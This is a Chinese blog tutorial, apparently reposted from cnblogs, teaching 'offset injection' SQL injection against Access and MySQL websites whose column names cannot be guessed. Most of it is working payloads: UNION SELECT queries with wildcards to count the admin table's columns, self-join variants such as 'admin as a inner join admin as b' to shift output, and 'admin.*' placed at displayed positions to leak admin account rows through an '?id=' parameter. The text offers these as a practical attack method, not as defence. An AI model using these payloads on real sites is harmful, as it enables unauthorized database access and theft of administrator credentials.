标签:zid 方式 条件 access img table sql查询 账号 开始
access、mysql数据库的网站存在注入,但跑不出字段名(列名)。
union select 1,2,3,...,* from TABLE as a inner join TABLE as b on a.id=b.id
union select 1,2,3,admin.*,8 from TABLE
两种手法均需要存在注入的当前表的列数 大于 目标表的列数,越大成功率越高。
第一种手法:为了保证成功率,最好是目标表列数的2倍。另外注意注入过程中隐性显位(查看源代码)。
第二种手法:页面显位至少存在连续的 2~3位连续的数字(如果有隐性显位也算),也不一定,具体问题具体对待。
以下测试前面3步不作记录。
判断目标admin表的列数
通过 * 泛测试
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin
?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
所以,admin的列数为 22-16=6
第一种偏移注入:
由上得知admin列名为6,进行偏移注入时也得偏移一个admin列数,及16-6=10
代码为 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
注释:
admin as a inner join admin as b on a.id=b.id 这句话的意思是将 admin表 标记为 a 也标记为 b,这样a、b两个相同的表的 id 列参数相等。inner join ... on 返回关键行。
但没有账户名,可以通过增加 a.id、b.id 字段让排序重组,实现同一个地方爆出不同信息。
执行 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
也可进行二次偏移
执行 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
二次移位再减去一个 admin表的列数。这里加了 a.id、b.id、c.id 字段,如果不加也可以执行,如果没爆出目标数据就加上进行打乱偏移字段重新查询。
前面判断出 admin 列数为 6 列,且由上可知,显位数字为 3,9,13,15(包括隐性显位,同上)
所以我们通过 在显位处 13 放置 admin.* (查询admin表的所有内容)
执行 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin
这里 admin.*
占了6个字段(即admin表的字段数)。
同样依次替换其他几个显位数字的位置,但仍不能爆出账号名,所以此处有点鸡肋。但是如果显位数字连续,且有多个,注入时就不用传统手工方法去猜列名。
第二种的原理
为了方便理解,直接通过mysql查询截图展示。mysql 在跨表查询中,可以把目标中的字段在存在注入的当前表中显位出来。
end!
标签:zid 方式 条件 access img table sql查询 账号 开始
原文地址:https://www.cnblogs.com/sstfy/p/10351813.html